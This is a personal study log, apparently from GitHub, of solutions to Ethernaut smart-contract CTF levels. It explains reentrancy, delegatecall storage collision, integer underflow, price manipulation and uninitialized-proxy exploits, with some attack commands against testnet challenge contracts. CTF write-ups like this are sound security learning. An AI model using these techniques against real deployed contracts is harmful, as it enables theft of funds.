Skip to content

Latest commit

 

History

History
1468 lines (1159 loc) · 80.7 KB

DeletedAccount.md

File metadata and controls

1468 lines (1159 loc) · 80.7 KB
timezone
Asia/Taipei

DeletedAccount

  1. 自我介绍
  1. 你认为你会完成本次残酷学习吗?
  • 本次報名主要目的是為了加深自己對 EVM 的理解,並非為了爭奪獎金或培養 CTF 選手。
  • 有 40% 的信心可以順利按表操課...不過即使每日打卡失敗,也會盡量繼續完成 21 天挑戰,為自己而學!

Notes

2024.08.29

  • Day1 共學開始
  • 有一段時間沒寫 Solidity 了,順便趁此次機會順便複習過去看過但印象不深的挑戰。
  • 並且寫下自己的解題思路,供未來可以回頭參考。
  • 志不在競爭激勵金,不限制自己的題數與系列。
  • 時間內能刷多少題就盡量刷,目標希望可以刷完全部題目。

[Ethernaut-01] Fallback

  • 破關條件: 把 Fallback.owner 改成自己,並且把 Fallback.balance 歸零
    • 看起來至少要呼叫到 contribute()receive() 才能改動 owner
      • receive() 有限制 contributions[msg.sender] > 0,不能直接呼叫,看起來只能從 contribute() 開始下手
    • 解法:
      • 先調用 contribute() 帶一點 ETH, 讓自己的 contributions 不為 0
      • if 判斷沒過可以不用管它
      • 然後再調用 receive() 就可以把 owner 改成自己了
  • 知識點: fallback function 可以直接透過 send native coin 觸發

解法:

cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE "contribute()" --value 1wei --private-key $PRIV_KEY
cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE --value 1wei --private-key $PRIV_KEY
cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE "withdraw()" --private-key $PRIV_KEY

[Ethernaut-02] Fallout

  • 破關條件: 把 Fallout.owner 改成自己
  • 解法: 直接呼叫 Fal1out() 函數就過了
  • 知識點: 在舊版 solidity 中 (<0.5.0),函數名稱等於合約名稱的函數會被當成 constructor 使用

解法:

cast send -r $RPC_OP_SEPOLIA $FALLOUT_INSTANCE "Fal1out()" --private-key $PRIV_KEY

[Ethernaut-03] Coin Flip

  • 破關條件: CoinFlip.flip(bool) 猜中 10 次就過關
  • 解法: 只需要預先算出 side 是 True 或 False 就好
    • 由於題目不要求一定要本輪答案一定正面或反面,只需要猜測現在是正面還是反面
    • 也不需要答題者一定要是某個特定的錢包地址
    • 所以我們可以直接寫一個 Contract,複製 CoinFlip 的算法,得知本輪答案會是正面或反面,然後再幫忙送出答案就好
  • 知識點: 不要用鏈上原生資訊產生隨機數,因為這可以透過鏈下預測/鏈上預算出來

解法:

bash Ethernaut03-CoinFlip.sh

[Ethernaut-04] Telephone

  • 破關條件: 把 Telephone.owner 改成自己
  • 解法: 寫一個 Contract 去呼叫 changeOwner() 來繞過 tx.origin 的檢查
  • 知識點: tx.origin 和 msg.sender 的差別

解法:

forge script Ethernaut04-Telephone.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

[Ethernaut-05] Token

  • 破關條件: 一開始會發 20 個 token 給我,讓自己的 token 數量變超多就過關
  • 解法:
    • 關鍵點在 require(balances[msg.sender] - _value >= 0);
    • 在 Solidity 0.8 以前,沒有內建的 Integer Overflow/Underflow 保護
    • 所以我們可以使 _value 下溢到 uin256.max-1,來通過這個 require() 檢查
    • _value 設置為 21 即可觸發下溢
  • 知識點: Solidity 0.8 以前,沒有內建的 Integer Overflow/Underflow 保護

解法:

cast call -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "balanceOf(address)" $MY_EOA_WALLET | cast to-dec # check: 20
cast send -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "transfer(address,uint256)" 0x0000000000000000000000000000000000001337 $MY_EOA_WALLET --private-key $PRIV_KEY
cast call -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "balanceOf(address)" $MY_EOA_WALLET | cast to-dec # check: large number

[Ethernaut-06] Delegation

  • 破關條件: 把 Delegation.owner 改成自己
  • 解法:
    • 乍看之下 Delegation 合約中,似乎沒有任何代碼可以更改 Delegation.owner
    • 但由於 Delegation 合約會透過 delegatecall 呼叫 Delegate 合約
    • Delegate 合約中, 有邏輯代碼 pwn() 可以使 Delegation.owner 被更改掉
    • 因為 Delegation 透過 delegatecall 借用 Delegate 邏輯代碼,且兩邊的 owner 變數都是佔用著 slot0
  • 知識點: 使用 ProxyPattern 的合約,Storage 會用 Proxy 合約的佈局,但邏輯代碼會運行 Logic 合約的代碼

解法:

cast send -r $RPC_OP_SEPOLIA $DELEGATION_INSTANCE "pwn()" --private-key $PRIV_KEY

[Ethernaut-07] Force

  • 破關條件: 把 Force 的以太幣餘額改成不為 0
  • 解法:
    • 乍看之下 Force 合約中沒有實現 receive()fallback() 函數,無法接收以太幣
    • 但我們可以透過 selfdestruct() 強制發送以太幣過去
  • 知識點: 使用 selfdestruct() 可以將合約解構掉,並且將剩餘的以太強制地轉移到指定地址,不論該地址是否有實現 receive()fallback() 函數
  • 知識點2: 在 Dencun 升級後引入了 EIP-6780
    • 現在除非 selfdestruct 在同一個交易中觸發,否則不會解構合約,只會強制轉移剩餘的全部以太幣

解法:

cast balance $FORCE_INSTANCE -r $RPC_OP_SEPOLIA
forge script script/Ethernaut07-Force.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
cast balance $FORCE_INSTANCE -r $RPC_OP_SEPOLIA

[Ethernaut-08] Vault

  • 破關條件: 使 locked = false
  • 解法:
    • 讀取 slot1 得知密碼
    • 再呼叫 unlock() 來解鎖即可
  • 知識點: 不要在鏈上存任何 secret,因為所有人都看得到 Storage

解法:

THE_PASSWORD=`cast storage "$VAULT_INSTANCE" 1 -r "$RPC_OP_SEPOLIA"
cast send -r $RPC_OP_SEPOLIA $VAULT_INSTANCE "unlock(bytes32)" $THE_PASSWORD --private-key $PRIV_KEY

[Ethernaut-09] King

  • 破關條件: 這是一個 King-of-Hill 類型的遊戲,需要我們把遊戲機制搞爛才能過關。
    • 在 Submit 的時候,owner 會透過 receive() 函數重新拿回 king 王位
    • 我們需要讓 owner 無法拿回王位,才能過關。
  • 解法:
    • 在關卡開始的時候, prize = 0.001 ether
    • 我們的重點需要讓 payable(king).transfer(msg.value); 執行失敗,這樣就沒人可以拿回王位了
    • 如果一個合約地址沒有實現 receive() 函數,那麼執行 transfer() 將會觸發 revert
    • 所以我們只需要寫一個合約,裡面沒有實現 receive() 函數,並且向 King 合約發送 0.001 讓合約成為 king
    • 這樣一來,owner 就無法 reclaim 王位了
  • 知識點: 發送 Ether 的三種不同的作法: transfer(), send()call() 的差別

複習: fallback()receive() 的使用場景差別 fallback_vs_receive

複習:transfer(), send()call() 的差別

gas return value use-case
transfer() 2300 revert() 純轉帳,因為 2300 gas 沒辦法做複雜操作
send() 2300 False 純轉帳,因為 2300 gas 沒辦法做複雜操作
call() Maximum gasLeft() * 63/64 False 複雜操作,但需要添加重入保護
  • 如果你開發的智能合約有使用 transfer(),請最好確保 transfer() 的對象永遠是一個可受信任的白名單地址
  • 否則有可能會發生如本題所示的 DoS 攻擊。

解法:

forge script script/Ethernaut09-King.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA

[Ethernaut-10] Re-entrancy

  • 破關條件: 把 Reentrance 合約內的資金榨乾
  • 解法:
    • 題目都叫 Re-entrancy 了,那肯定是考重入攻擊的利用方式
    • 題目是 0.8 以下的版本,但是有 using SafeMatch 來保護 balances,所以溢出是不可行的
    • 我們用 cast balance $REENTRANCY_INSTANCE -r $RPC_OP_SEPOLIA -e 可以觀察到 Reentrance 有 0.001 ether,我們的目標是把它偷出來
    • 寫一個合約,合約先調用 donate() 使自己的 balances[] 有紀錄
    • 然後呼叫 withdraw() 把剛剛的 donate 拿出來
    • 因為 Reentrance 合約用的是 call() 而且沒有限制 GasLimit
    • 也沒有對 withdraw() 函數做任何重入保護
    • 所以我們寫的合約需要寫一個 receive() 邏輯,重複地去呼叫 withdraw() 直到合約餘額歸零
  • 知識點: 重入攻擊的利用手法,以及如何保護它

解法:

forge script script/Ethernaut10-Reentrancy.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA

[Ethernaut-11] Elevator

  • 破關條件: Elevator.top 的預設值是 false,要把它變成 true
  • 解法:
    • 首先我們可以觀察到 building 是可控的。我們可以自行決定如何實現 Building 合約
    • 觀察 goTo() 可以發現 building.isLastFloor(_floor) 似乎不可能同時在一筆交易中既返回 False 又返回 True
    • 但由於 isLastFloor() 沒有限制一定要是 viewpure 函數,所以我們可以自己來實現 isLastFloor() 的邏輯
    • 我們只需要寫一個簡單的 toggle,讓第一次呼叫 isLastFloor() 的時候返回 False,第二次返回 True 就可過關了
    • 我的解法是透過 called_count % 2 == 1 來判斷是否為第一次呼叫還是第二次呼叫
      • 第一次呼叫 == 1 單數呼叫次數,返回 False,使 goTo() 的 if 條件通過
      • 第二次呼叫 == 0 偶數呼叫次數,返回 True 使 top 為 True
  • 知識點: 開發合約應該 Zero-Trust。如果交互地址是由使用者可控,不要相信對方會按照你所想的方式實施合約邏輯

解法:

forge script script/Ethernaut11-Elevator.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA

[Ethernaut-12] Privacy

  • 破關條件: 知道 bytes16(data[2]) 是多少,來使得 locked = false
  • 解法:
    • 這題和 [Ethernaut-08] Vault 一樣都是考怎麼查看 Storage,只是這題更注重 Storage Layout 的解讀
    • bool 會自己佔掉一個 32 bytes 的 slot
    • uint8uint16 會共用同一個 slot,因為他們個別來看都不滿足 32 bytes 大小
    • bytes32[3] 由於是 Static Array,所以會直接佔用掉 3 個 Slot,不需要考慮 Array Length 和 Offset
    • 所以 _key 的答案會出現在 slot5,但要記得取前半段的 16 bytes
  • 知識點: Storage Layout and Storage Packed

解法:

key=$(cast storage $PRIVACY_INSTANCE 5 -r $RPC_OP_SEPOLIA | cut -c1-34) # 取出 bytes16 需要取前 34 個字串,因為輸出含前綴 0x
cast send -r $RPC_OP_SEPOLIA $PRIVACY_INSTANCE "unlock(bytes16)" 0x300fbf4b66e2c895415881cde0d9fbb2 --private-key $PRIV_KEY

[Ethernaut-13] Gatekeeper One

  • 破關條件: 使 enter() 呼叫成功,需要通過三道 modifier 的試煉

  • 解法:

    • gateOne() 要求呼叫者必須是合約
    • gateTwo() 要求 gas left 剛好可以被 8191 整除
      • 所以呼叫 enter() 的所需 Gas 數量必須是在執行完 gateOne() 進入到 gateTwo() 的時候,剛好可以被 8191 整除
      • 這意味著我們要馬必須知道在這之前會消耗多少 gas,不然就是得透過暴力破解,來得到離能夠被 8192 整除還需要多少 gas
      • 我偏好使用爆破的方式來解決
    • gateThree() 要滿足一系列的條件,這個可以用 chisel 動手算一遍就可以算的出來正確的 _gateKey
      • 這邊的重點在於,當一個大類型的數字透過 casting 轉換成小類型的數字,高位的 bytes 會被捨棄,僅保留低位的 bytes
        • 範例:
        • uint64(bytes8(0x300fbf4b66e2c895)) -> 0x300fbf4b66e2c895
        • uint32(uint64(bytes8(0x300fbf4b66e2c895))) -> 0x66e2c895
      • 要滿足第一個條件 uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) 可以發現 uint32 要相等於 uint16
        • 唯一的辦法就是 uint32 的高位 2 個 bytes 都是 0
        • 所以現在可以確定 _gateKey0x????????0000????
      • 當第一個條件滿足了,通常第二個條件也會跟著一起滿足了,因為不太可能拿到剛好算出來是 0000 的 EOA 地址
      • 從第三個條件可以看出來 _gateKey0x????????0000nnnn n 為錢包地址末 4 碼
      • 所以我們可以直接用遮罩 0xffffffff0000nnnn 算出來 _gateKey
  • 知識點: Casting 從大轉換成小,高位元會被 Drop 掉,以及知道怎麼操縱 gasLeft#()

解法:

[Ethernaut-14] Gatekeeper Two

  • 破關條件: 使 enter() 呼叫成功,需要通過三道 modifier 的試煉 (老實說我感覺比 One 簡單 😂)

  • 解法:

    • gateOne() 要求呼叫者必須是合約
    • gateTwo() 要求我們的合約不能夠有 code size, 這意味著我們必須在 constructor 內完成解答
    • gateThree() 要求合約的地址經過 keccak256 和 casting 之後,和 gateKey 做 XOR 後要得到 0xffffffffffffffff
      • 這意味著我們不能像 One 一樣可以在鏈下預先計算出 gateKey 是多少了
      • 但這題簡單的地方在於,要得到 gateKey 我們只需要將 合約的地址經過 keccak256 和 casting 之後,直接和 0xffffffffffffffff 做 XOR 就可以得到 pathKey
      • xor.pw 這邊可以自己實驗看看
        • 輸入 abcdffff 會得到 5432
        • 輸入 abcd5432 會得到 ffff
  • 知識點: 如何隱藏 code size 以及 XOR 算法

解法:

[Ethernaut-15] Naught Coin

  • 破關條件: 關卡建立後,會自動給我們 1000000 顆 Naught Coin,我們要把它轉走,使自己的 token balance 歸零
  • 解法:
    • 可以看到 lockTokens() 限制了我們對 .transfer() 方法的呼叫
    • 這意味著我們勢必要走另一條路
    • ERC20.sol 可以觀察到,除了透過 transfer() 來轉移代幣以外,還可以透過 transferFrom() 來轉移
    • 所以我們可以 approve 轉帳權給我們自已建立的合約
    • 再透過合約呼叫 transferFrom() 把我們的代幣餘額歸零
  • 知識點: 除了 transfer() 以外,還可以利用 approve() + transferFrom() 把 token balance 轉走

解法:

2024.08.30

  • Day2 共學開始
  • 目前規劃會在本檔案做流水帳紀錄
  • 預計會在 9/20 來做一個 Writeup 總整理
  • 放假日有空也會回來整理

[Ethernaut-16] Preservation

  • 破關條件: 把 owner 權限改成自己
  • 解法:
    • 這題和第六關 Delegation 很像
    • 我應該要先呼叫一次 setFirstTime()_timeStamp 改成自己部署合約的地址
      • 這樣應該就可以蓋掉 Preservation.timeZone1Library 成為自己
    • 然後再次呼叫 setFirstTime() 使 Preservation Delegatecall 到自己的合約
    • 然後自己的合約再把 slot2 改成 tx.origin,這樣就可以過關了
  • 知識點: Storage Collision、Function Signature

解法:

[Ethernaut-17] Recovery

  • 破關條件: 呼叫 SimpleToken.destroy() 使它的以太幣餘額清空,但你要想辦法找出 SimpleToken 的合約地址
  • 解法:
    • 呃...直接去 Explorer 看,就能知道 0.001 ETH 跑到哪裡去了XD
    • etherscan
    • 但這其實算偷吃步,因為如果遇到像 Paradigm CTF 這種會自架區塊鏈的題目,這招就沒辦法使用了
    • 所以重點還是要知道 new 出來的合約地址究竟是如何被計算出來的
    • 公式是: new_contract_address = hash(msg.sender, nonce)
    • 可以用 cast nonce $RECOVERY_INSTANCE -r $RPC_OP_SEPOLIA 查到目前 Instance 有多少 Nonce
    • Nonce 是 2,代表它已經發過 2 次 Transaction (即: 下一筆交易會是用 Nonce 3)
    • 我們算 1 和 2 就可以知道計算結果的其中一個是 SimpleToken 的地址了
    • 如果目標的 Nonce 很大,解法中的 Python Script 可以加個迴圈和判斷式,快速爆破
  • 知識點: new 出來的地址,是可以被預先算出並得知的

解法:

[Ethernaut-18] Magic Number

  • 破關條件: 部署一個呼叫了會返回 42 的合約,但是該合約的 runtime bytecode 必須少於 10 bytes
  • 解法:
    • 照著 evm.codes 操作即可,似乎沒什麼好講的
    • 這題不難,只是有點麻煩而已
    • 之前是用 Yul 解這題,這次換用 Huff 來解
    • 因為不熟悉 creation bytecode 和 runtime bytecode 的差別,過程踩了蠻多的坑
      • 主要是卡在用 -b 會包含 creation bytecode, 要檢查長度是否少於 10 bytes 還是要用 -r 來檢查 runtime bytecode...
    • 用 evm.codes 解很快,但不熟悉 Huff 的語法,花了一些時間看官方文件
  • 知識點: EVM OP Codes

解法:

2024.08.31

  • Day3 共學開始
  • 祖父送急診...本日大部分時間都在照顧老人
  • 學習時間不多,今天進度較少

[Ethernaut-19] Alien Codex

個人覺得這一題十分有趣,屬於必看必解題!

  • 破關條件: 把 owner 變成自己
  • 解法:
    • 題目本身沒宣告 owner,但可以觀察到 AlienCodex 有繼承 Ownable
    • Ownable-05.sol" 的原始碼沒給,但我們可以從 GitHub 找到原始碼觀察到 address private _owner
    • 繼承的合約 Ownable 所宣告變數,會先佔用 Storage,所以 _owenr 的 Slot 是在 Slot0
    • 並且編譯都是用 Solidity 0.5.0,沒有內建 overflow/underflow 的版本,所以猜測可能是與 overflow/underflow 有關的漏洞利用
    • 這一題的主要考點是 Array Overflow/Underflow,需要知道一個 Dynamic Array 宣告在 Storage 的時候,具體來說其中的 Elements 都會被放在哪個 Slot
    • codex 這個 Dynamic Bytes32 Array 被宣告在 Slot1,因為 contact 會和 _owner 打包在一起 (concat 在左邊高位 _owner在右邊低位)
      • Slot2 本身將會放的是這個 Dynamic Array 目前的總長度
      • Dynamic Array 的第一個元素會被放在 keccak256(n) + 0,n 等於原先佔用的 slot offset (本例 codex 佔用 Slot2,即 n=1)
      • Dynamic Array 的第二個元素會被放在 keccak256(n) + 1
      • Dynamic Array 的第三個元素會被放在 keccak256(n) + 2,依此類推
    • 我們的目標是控制 Slot0 的內容,乍看之下似乎無路可解
    • 但我們有 retract() 可以將 Slot1 的值,從 keccak256(0) (即 codex 元素有 0 個) 更改為 keecak256(2**256 - 1) (即 codex 元素有 2**256 - 1 個)
    • 欸!既然 codex 的 index 長度可以拉到 2**256-1 個,那是不是代表...
    • 沒錯!我們可以利用 revise() 函數來達到 任意重設指定的 Storage Slot 的內容值 了!
    • 為了過關,我們肯定是想要將 Slot0 的前 20 bytes 內容值修改成自己的地址的,但具體來說如何做呢?
      • 我們需要將 codex 佔用的首個元素的 Slot Number,再加上某個偏移量造成 Overflow,使它能夠重新指向到 Slot0
      • 假設上述輸出命名為 i,則 i 的計算公式為:
      • i = keccak256(1) + N = 0x0000...0000
      • 要取得 N,我們只需要將 0xffff...ffff 減去 keccak256(1)+1 即可
      • N = (0xffff...ffff - keccak256(1)) + 1
bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));
bytes32 max_bytes32 = bytes32(type(uint256).max);
bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));
bytes32 N = bytes32(uint256(array_index_that_occupied_the_slotMAX) + 1)
  • 知識點: Array Storage Layout, Array Underflow/Overflow

解法:

2024.09.02

  • Day4 共學開始

[Ethernaut-20] Denial

  • 破關條件: 在 Denial 合約仍有足夠以太幣的前提下,使其他人調用 withdraw() 失敗
  • 解法:
    • 先調用 setWithdrawPartner() 使自己部署的攻擊合約成為 partner
    • 在攻擊合約的 receive()fallback() 函數寫一些會 Out-of-Gas 的邏輯即可
    • 例如: 無窮迴圈
  • 知識點: Out-of-Gas DoS Attack

解法:

[Ethernaut-21] Shop

  • 破關條件: 把 price 拉到 100 以下
  • 解法:
    • 使第一次呼叫 _buyer.price() 時,返回 101 來通過 if 敘述
    • 然後再使第二次呼叫 _buyer.price() 時,返回 99 來達成過關條件
    • 這邊沒辦法像之前一樣都用 called_count 來紀錄呼叫次數,因為 price() 必須是一個 view 函數
    • 但我們可以利用 Shop.isSold 來知道這是第一次呼叫還是第二次呼叫
  • 知識點: Restriction of the view function, contract interface

解法:

[Ethernaut-22] Dex

  • 破關條件: 利用價格操縱漏洞,竊取 Dex 合約的資金,使其中一個 Token 的餘額歸零

  • 解法:

    • 這一題的考點主要是 X * Y = K 恆定乘積做市商算法的漏洞
    • 如果 swapAmount 等於 amount * Y / X 且沒有進行 K 值的檢查,將會導致 swapAmount 在幾次來回交換後,因為 X 值變小而使換出的 Y token 數量變多
    • 當 DEX 不依靠去中心化價格預言機或時間加權機制,僅透過 Reserve 來實施價格發現,就會受到價格操縱攻擊
    • 我們只需要反覆地將 token1 換到 token2,token2 再換回 token1,來回操作幾遍就會發現每次換出來的金額都會越來越大
    • 建議自己拿算盤驗算看看 getSwapPrice() 函數的返回值
  • 知識點: 不安全的價格資訊參考

  • Ethernaut22-Dex.sh

  • Ethernaut22-Dex.s.sol

2024.09.03

  • Day5 共學開始

[Ethernaut-23] Dex Two

  • 破關條件: 與 Dex 不同,這次要求把 DexTwo 的兩個 Token 餘額都歸零

  • 解法:

    • DexDexTwo 很像,所以我們可以直接 Diff 看看兩者的差別
    • DexTwo
    • 從上圖可以很明顯地發現到,swap() 函數的 require() 要求不見了
    • 這意味著我們可以給定任意的 ERC20 代幣來進行 swap() 的動作
      • 只要我們部署的 ERC20 合約具有 transferFrom()balanceOf() 方法即可
    • 具體上來說,一開始 DexTwo 合約會有各 100 個 token, 我們有各 10 個 token
    • 要將 DexTwo 的 token1 取出來,我們要先發 100 顆 PhonyToken 給 DexTwo
    • 這樣才能使得調用 swap(from=PhonyToken, to=token1, amount=100) 可以把 DexTwo 的 token1 全部換走
    • 接下來再把 DexTwo 的 token2 取出來。
    • 經過上一輪 swap(),DexTwo 已經有了 100 顆 PhonyToken
    • 所以要馬我們再生成一個 PhoneyToken2,用上面的方式一樣把 token2 全部換走
    • 要馬就是我們用 200 顆 PhoneyToken 把 token2 取走
  • 知識點: Arbitrary Input Vulnerability

解法:

2024.09.05

  • 09.04 身體不舒服,請假一天
  • Day6 共學開始

[Ethernaut-24] Puzzle Wallet

個人覺得這一題十分有趣,屬於必看必解題!

  • 破關條件: 把 PuzzleProxyadmin 變成自己
  • 解法:
    • 可以看到 PuzzleProxy 是一個 UpgradeableProxy,Logic 合約是 PuzzleWallet
    • 當涉及到 Proxy 的時候,通常都會去檢查 Storage Layout
    • 可以發現到 PuzzleProxy.pendingAdmin 對應的是 PuzzleWallet.owner
    • 可以發現到 PuzzleProxy.admin 對應的是 PuzzleWallet.maxBalance
    • 這意味著我們必須要能在 PuzzleWallet 找到地方可以操縱 PuzzleWallet.maxBalance,使它的數值變成我們的錢包地址
    • PuzzleWallet.maxBalance 可以在 PuzzleWallet.init() 函數與 PuzzleWallet.setMaxBalance() 函數進行更改
    • PuzzleWallet.init() 這一條路應該是沒辦法走的,因為 PuzzleWallet.maxBalance 的值已經是設置成 PuzzleWallet.admin
    • 我們只能嘗試走 PuzzleWallet.setMaxBalance() 這條路,但這要求我們要是 whitelisted 以及 address(this).balance 為 0
    • 要怎麼成為 whitelisted 呢? 我們必須要使 msg.sender == owner
    • PuzzleWallet.owner 被宣告在 slot0,也就是與 PuzzleProxy.pendingAdmin 對應
    • PuzzleProxy.pendingAdmin 可以透過 PuzzleProxy.proposeNewAdmin() 進行修改
    • 總結目前發現:我們可以透過 PuzzleProxy.proposeNewAdmin() 函數的調用,使 PuzzleWallet.owner 被修改,進而使我們成為 whitelisted
    • onlyWhitelisted 的問題解決掉了,下一步是找到方式讓 address(this).balance == 0 條件敘述通過
    • 透過 cast balance -r $RPC_OP_SEPOLIA $PUZZLEWALLET_INSTANCE 指令,可以得知 PuzzleProxy 合約有 0.001 顆 ETH
    • 從題目給出的代碼來看,也似乎只有 execute() 函數可以把 ETH 提領出來,所以這應該會是我們要嘗試的漏洞利用路徑
    • execute() 函數要求我們必須使 balances[msg.sender] 大於欲提領的數量,意味著我們必須先使自己的 balances[msg.sender] 增加至 0.001 ETH
    • 要增加 balances[msg.sender] 必須透過 deposit() 函數
    • 由於 PuzzleWallet.maxBalance 等同於 PuzzleProxy.admin,所以 address(this).balance <= maxBalance 的條件敘述基本上不會正常工作
    • 但問題在於: 我們 deposit() 存入 0.001 顆 ETH,也只能 execute() 提領出來 0.001 顆 ETH
    • 似乎怎麼操作都會使 PuzzleProxy 的餘額仍然剩餘 0.001 ETH,如何繞過呢?我們可以利用 multicall() 函數裡的 deletecall()
    • 我們需要建構出一條 deletegatecall 鏈
      • 首先 PuzzleProxy 會 delegatecall PuzzleWallet 的函數
      • 我們指定 delegatecall PuzzleWallet.multicall()
      • multicall() 裡面,我們利用 multicall() 裡面的 delegatecall 來呼叫 deposit() 函數
      • 呼叫 deposit() 的時候,要帶入 0.001 ETH 進去
        • 此時 msg.sender 是我們的錢包
        • 此時 msg.value 等於 0.001 ETH
      • 我們透過第二組 data 再次呼叫 multicall()
      • 第二組的 multicall() 再次呼叫 deposit()
        • 此時 msg.sender 依舊是我們的錢包
        • 此時 msg.value 依舊等於 0.001 ETH (但是我們並沒有因此多提供了 0.001 ETH)
      • 第二組 multicall() 之所以可以再次呼叫 deposit(),是因為 depositCalled 的狀態值只存在於當前的 Call Frame
        • depositCalled 是一個假的重入鎖,實際上根本不起作用,因為 depositCalled = True 的這個狀態,只存在於當前的 Call Stack
  • 解法總結:
    1. 呼叫 PuzzleProxy.proposeNewAdmin(_newAdmin=tx.origin) (使 tx.origin 成為了 PuzzleWallet.owner)
    2. 呼叫 PuzzleProxy.addToWhitelist(addr=tx.origin) (使 tx.origin 變成了 whitelisted)
    3. 建構 PuzzleWallet.multicall()bytes[] data
      1. 總共有兩組 bytes data 需要建構
      2. 第一組: deposit()
      3. 第二組 multicall(deposit())
    4. 呼叫 PuzzleProxy.multicall(),並且帶入 msg.value = 0.001 ETH
    5. 呼叫 PuzzleProxy.execute(to=tx.origin, value=0.002 ETH, data="") (把 0.002 ETH 提領出來,使 PuzzleProxy 的以太幣餘額歸零)
    6. 呼叫 PuzzleProxy.setMaxBalance(_maxBalance=uint256(uint160(tx.origin))) (用來覆蓋 PuzzleProxy.admin)
    7. 過關!
  • 知識點: Delegate Call, Storage Slot Collision

解法:

[Ethernaut-25] Motorbike

個人覺得這一題十分有用,屬於必看必解題!

此關卡在 Dencun 升級後無法被解掉,因為 Dencun 升級後,不允許 selfdestruct() 清空合約代碼 (除非欲 selfdestruct 的合約是在同一個 Transaction 創建的)

  • 破關條件: 把 Engine 合約自毀掉
  • 解法:
    • Instance 將會是 Motorbike 合約
    • 透過觀察 Motorbike 合約,我們可以觀察到它的 constructor() 調用了 Engine.initialize() 函數
    • Engine.initialize() 函數內,我們可以觀察到它為 Motorbike 的 slot0 和 slot1 分別設置了 1000msg.sender
      • 我們可以透過以下指令驗證這件事:
      • cast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 0 -> msg.sender
      • cast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 1 | cast to-dec -> 1000
    • 如果要讓 Engine 自毀掉,我們必須找到一個地方,可以以 Engine 的 context 去呼叫自毀合約的邏輯代碼
    • 這個任意執行代碼的觸發點,看起來在 Engine._upgradeToAndCall() 函數內
      • Engine._upgradeToAndCall() 是 internal 函數
    • 我們只能透過 Engine.upgradeToAndCallI() 函數來訪問它
    • 但是我們必須要通過 require(msg.sender == upgrader) 的檢查,意味著我們得先讓自己成為 upgrader
    • 只有 Engine.initialize() 可以設置 upgrader,也就是 Motorbike 的 slot0
    • 漏洞點在於 Engine 本身也是一個部署在網路上的 Logic 合約
    • 但是 initialize() 函數只會經過 initializer 這個 modifier 的檢查
    • initializer 簡單來說會檢查當前這個合約的 context 是不是已經被 initialized
    • 如果沒有被 initialized,則 initializer 的檢查通過,可以繼續進行被掛載了 initializer modifier 的合約
    • 但是回過頭來看 Motorbike 合約是使用 delegatecall 來進行 Engine.initialize()
    • 這意味著只有 Motorbike 被 initialized 了,但是 Engine 本身並沒有被 initialized
      • 請記住: Engine 本身也是部署在網路上的一個合約
    • 所以此時我們如果直接呼叫 Engine.initialize() (a.k.a. 不透過 Motorbike) 是可以呼叫成功的
      • 因為 Initializable 這個抽象合約的 require(_initializing || _isConstructor() || !_initialized) 檢查會通過
    • 於是我們就可以成功變成 upgrader
    • 變成了 Engine.upgrader (Motorbike.slot0) 之後,我們就可以呼叫 Engine.upgradeToAndCall()
    • 我們可以呼叫 Engine._upgradeToAndCall() 使 Engine 執行我們部署好的合約的 selfdestruct 指令了
  • 解法總結:
    • 我們需要先寫一個 BustingEngine 合約
    • 裡面有一個會執行 selfdestruct() 的函數,我們就叫它 bust() 好了。
    • 用自己的錢包,呼叫 Engine.initialize(),使自己的錢包成為 upgrader
      • Engine 合約地址,可以透過 cast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 找到
    • 用自己的錢包,呼叫 Engine.upgradeToAndCall(newImplementation=BustingEngine, data="bust()")
      • Engine 會透過 delegatecall 借用我們的 selfdestruct() 邏輯代碼,把自己銷毀掉
    • 過關!
      • 過程中我們除了需要和 Motorbike 獲取 Engine 的實際合約地址以外,基本上不需要和 Motorbike 互動。

解法:

2024.09.06

[Ethernaut-26] DoubleEntryPoint

  • 卡關了...沒看得很懂這題要做什麼才能過關,先跳過,改天再回頭看
  • 明天要比工作日還要早起出門上課,先解 Ethernaut-27 水題當作簽到...

[Ethernaut-27] Good Samaritan

  • 破關條件: 把 Wallet 合約的 Coin.balances 清空
  • 解法:
    • 已知我們可以透過 GoodSamaritan.requestDonation() -> Wallet.donate10() 把幣取走,但這意味著我們得呼叫 100000 次才能過關,太慢了
    • 除了 Wallet.donate10() 以外,還有 Wallet.transferRemainder() 可以直接把所有 balances 轉走,這應該就是我們要找到的利用點
    • 我們要找到一個地方使得 Wallet.transferRemainder() 被觸發,進而過關
    • 要做到這件事,只能使 if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) 敘述返回 True
    • 這意味著我們要在 try wallet.donate10(msg.sender) 的執行過程中想辦法觸發 NotEnoughBalance() 這個 custom error
    • 只要 dest_ 是一個合約,我們就可以使 Coin.transfer() 呼叫 callback function: INotifyable(dest_).notify(amount_);
    • 然後我們在 INotifyable(dest_).notify(amount_); 的執行過程中觸發 NotEnoughBalance() custom error 就好了!
  • 解法總結:
    • 寫一個合約,它會呼叫 GoodSamaritan.requestDonation()
    • 這個合約需要實現一個 notify(uint256) 函數
    • 這個 notify(uint256) 函數會無條件地觸發 NotEnoughBalance() custom error

吐槽: 這題居然三顆星...前一題解不出來,它居然只有兩顆星???囧

2024.09.07

  • 今天上防衛課一整天,爆幹累
  • 但還是要要求自己至少解一題...

[Ethernaut-28] Gatekeeper Three

打開題目後快速掃了一下,感覺是最簡單的 Gatekeeper,應該是要複習前面學到的內容。

  • 破關條件:通過 enter() 的三道 modifier 考驗,使自己成為一個 entrant

  • 解法:

    • gateOne(),沒什麼難的
